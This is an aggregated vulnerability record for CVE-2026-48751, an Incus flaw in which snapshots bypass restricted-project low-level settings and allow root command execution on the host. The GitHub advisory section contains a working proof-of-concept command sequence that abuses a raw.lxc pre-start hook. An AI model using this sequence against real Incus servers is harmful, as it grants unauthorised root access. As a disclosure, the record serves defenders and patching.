CVE-2026-48751

Incus has a restricted project bypass leading to arbitrary command execution

CVSS 3.1 9.9 CRITICALEUVD CVSS 3.1 9.9 CVSS 3.1 · [email protected] · Secondary 9.9 CRITICALCVSS_V3 Publisher rating CRITICALFixed by github.com/lxc/incus/v7/cmd/incusd 7.2.0osv · severity unknownFixed by github.com/lxc/incus/v7 7.2.0KEV status unknown

Original advisory

cve-program · CVE-2026-48751

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. Version 7.2.0 patches the issue.

Read the publisher's advisory

euvd · EUVD-2026-63978

Published

Read the publisher's advisory

nvd · CVE-2026-48751

Published

Read the publisher's advisory

osv · GHSA-48q5-w887-33wv

Published

### Summary Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. ### Details Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution. In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges. ### PoC ``` # remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block # locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc # locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc ``` ### Impact - Bypass of project restrictions. - Arbitrary command execution on the Incus server.

Read the publisher's advisory

osv · GO-2026-5799

Published

Incus has a restricted project bypass leading to arbitrary command execution in github.com/lxc/incus

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2026-48751

Published

incus

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "lxc",
                    "product": "incus",
                    "versions": [
                        {
                            "version": "< 7.2.0",
                            "status": "affected"
                        }
                    ]
                }

lxd

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "canonical",
                    "product": "lxd",
                    "versions": [
                        {
                            "version": ">= 4.12.0, < 5.0.7",
                            "status": "affected"
                        },
                        {
                            "version": ">= 5.1.0, 5.21.5",
                            "status": "affected"
                        },
                        {
                            "version": ">= 6.0.0, < 6.9.0",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-63978

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 21, 2026, 2:21:03 PM

dateUpdated: Nov 5, 2026, 11:49:30 PM

1 related source bulletins · separate from aliases

openSUSE-SU-2026:11651-1: incus-7.4-1.1 on GA media

CVE-2026-39402 · CVE-2026-47753 · CVE-2026-48749 · CVE-2026-48750 · CVE-2026-48751 · CVE-2026-48752 · CVE-2026-48753 · CVE-2026-48754 · CVE-2026-48755 · CVE-2026-48756 · CVE-2026-48769 · CVE-2026-55621 · CVE-2026-55622 · CVE-2026-62313 · CVE-2026-62867 · CVE-2026-62940 · CVE-2026-62941 · CVE-2026-63125 · CVE-2026-63343 · CVE-2026-81500 · CVE-2026-81501

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-48751

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-862

Original publisher date fields

published: 2026-08-21T15:16:40.527

lastModified: 2026-11-06T01:17:49.470

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-48q5-w887-33wv

Published

github.com/lxc/incus/v7/cmd/incusd

SEMVER · introduced 0 → fixed 7.2.0

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GO-2026-5799

Published

github.com/lxc/incus

SEMVER · introduced 0

github.com/lxc/incus/v6

SEMVER · introduced 0

github.com/lxc/incus/v7

SEMVER · introduced 0 → fixed 7.2.0

Original source record · Cite this exact observation · Complete original publisher JSON